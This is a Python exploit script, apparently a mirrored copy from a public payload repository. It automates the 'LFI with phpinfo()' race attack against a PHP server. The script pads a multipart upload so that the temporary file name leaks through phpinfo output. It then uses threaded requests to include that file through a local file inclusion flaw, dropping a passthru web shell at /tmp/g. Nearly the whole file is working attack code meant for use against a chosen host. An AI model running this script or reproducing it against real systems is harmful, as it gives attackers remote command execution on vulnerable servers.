mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-30 16:25:25 +00:00
195 lines
4.9 KiB
Python
195 lines
4.9 KiB
Python
#!/usr/bin/python
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# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
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from __future__ import print_function
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from builtins import range
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import sys
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import threading
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import socket
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def setup(host, port):
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TAG="Security Test"
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PAYLOAD="""%s\r
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<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
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REQ1_DATA="""-----------------------------7dbff1ded0714\r
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Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
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Content-Type: text/plain\r
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\r
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%s
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-----------------------------7dbff1ded0714--\r""" % PAYLOAD
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padding="A" * 5000
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REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
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Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
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HTTP_ACCEPT: """ + padding + """\r
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HTTP_USER_AGENT: """+padding+"""\r
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HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
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HTTP_PRAGMA: """+padding+"""\r
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Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
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Content-Length: %s\r
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Host: %s\r
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\r
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%s""" %(len(REQ1_DATA),host,REQ1_DATA)
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#modify this to suit the LFI script
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LFIREQ="""GET /lfi.php?load=%s%%00 HTTP/1.1\r
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User-Agent: Mozilla/4.0\r
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Proxy-Connection: Keep-Alive\r
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Host: %s\r
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\r
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\r
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"""
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return (REQ1, TAG, LFIREQ)
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def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.connect((host, port))
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s2.connect((host, port))
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s.send(phpinforeq)
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d = ""
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while len(d) < offset:
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d += s.recv(offset)
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try:
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i = d.index("[tmp_name] =>")
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fn = d[i+17:i+31]
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except ValueError:
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return None
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s2.send(lfireq % (fn, host))
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d = s2.recv(4096)
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s.close()
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s2.close()
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if d.find(tag) != -1:
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return fn
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counter=0
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class ThreadWorker(threading.Thread):
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def __init__(self, e, l, m, *args):
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threading.Thread.__init__(self)
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self.event = e
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self.lock = l
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self.maxattempts = m
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self.args = args
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def run(self):
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global counter
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while not self.event.is_set():
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with self.lock:
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if counter >= self.maxattempts:
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return
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counter+=1
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try:
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x = phpInfoLFI(*self.args)
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if self.event.is_set():
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break
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if x:
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print("\nGot it! Shell created in /tmp/g")
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self.event.set()
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except socket.error:
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return
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def getOffset(host, port, phpinforeq):
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"""Gets offset of tmp_name in the php output"""
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.connect((host,port))
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s.send(phpinforeq)
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d = ""
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while True:
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i = s.recv(4096)
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d+=i
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if i == "":
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break
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# detect the final chunk
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if i.endswith("0\r\n\r\n"):
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break
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s.close()
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i = d.find("[tmp_name] =>")
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if i == -1:
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raise ValueError("No php tmp_name in phpinfo output")
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print("found %s at %i" % (d[i:i+10],i))
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# padded up a bit
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return i+256
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def main():
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print("LFI With PHPInfo()")
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print("-=" * 30)
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if len(sys.argv) < 2:
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print("Usage: %s host [port] [threads]" % sys.argv[0])
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sys.exit(1)
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try:
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host = socket.gethostbyname(sys.argv[1])
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except socket.error as e:
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print("Error with hostname %s: %s" % (sys.argv[1], e))
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sys.exit(1)
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port=80
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try:
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port = int(sys.argv[2])
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except IndexError:
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pass
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except ValueError as e:
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print("Error with port %d: %s" % (sys.argv[2], e))
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sys.exit(1)
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poolsz=10
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try:
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poolsz = int(sys.argv[3])
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except IndexError:
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pass
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except ValueError as e:
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print("Error with poolsz %d: %s" % (sys.argv[3], e))
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sys.exit(1)
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print("Getting initial offset...", end=' ')
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reqphp, tag, reqlfi = setup(host, port)
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offset = getOffset(host, port, reqphp)
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sys.stdout.flush()
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maxattempts = 1000
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e = threading.Event()
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l = threading.Lock()
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print("Spawning worker pool (%d)..." % poolsz)
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sys.stdout.flush()
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tp = []
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for i in range(0,poolsz):
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tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
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for t in tp:
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t.start()
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try:
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while not e.wait(1):
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if e.is_set():
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break
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with l:
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sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
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sys.stdout.flush()
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if counter >= maxattempts:
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break
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print()
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if e.is_set():
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print("Woot! \m/")
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else:
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print(":(")
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except KeyboardInterrupt:
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print("\nTelling threads to shutdown...")
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e.set()
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print("Shuttin' down...")
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for t in tp:
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t.join()
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if __name__=="__main__":
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print("Don't forget to modify the LFI URL")
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main()
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